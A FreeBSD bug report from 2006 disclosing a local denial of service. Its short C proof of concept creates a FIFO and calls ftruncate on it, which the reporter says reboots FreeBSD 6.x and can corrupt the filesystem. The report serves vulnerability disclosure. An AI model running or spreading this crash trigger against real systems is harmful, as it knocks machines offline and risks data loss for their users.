misc/104747: read of data

[Vladimir]

>Number:         104747
>Category:       misc
>Synopsis:       read of data
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Oct 24 12:40:15 GMT 2006
>Closed-Date:
>Last-Modified:
>Originator:     Vladimir
>Release:        5.X 6.X
>Organization:
Alpenbau
>Environment:
DDoS
>Description:
/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
   Log: According to POSIX, the result of ftruncate(2) is unspecified
   for file types other than VREG, VDIR and shared memory objects.
   We already handle VREG, VLNK and VDIR cases.  Silently ignore
   truncate requests for all the rest. PR kern/98064
   it out in '06 !"#%&%(20061013)(="#"!
   tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing) - it just makes the system reboot, and with a bit of luck fucks up the filesystem.   that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me    
*/

#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR); 
ftruncate(fd,12345);
close(fd);
}



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>Fix:

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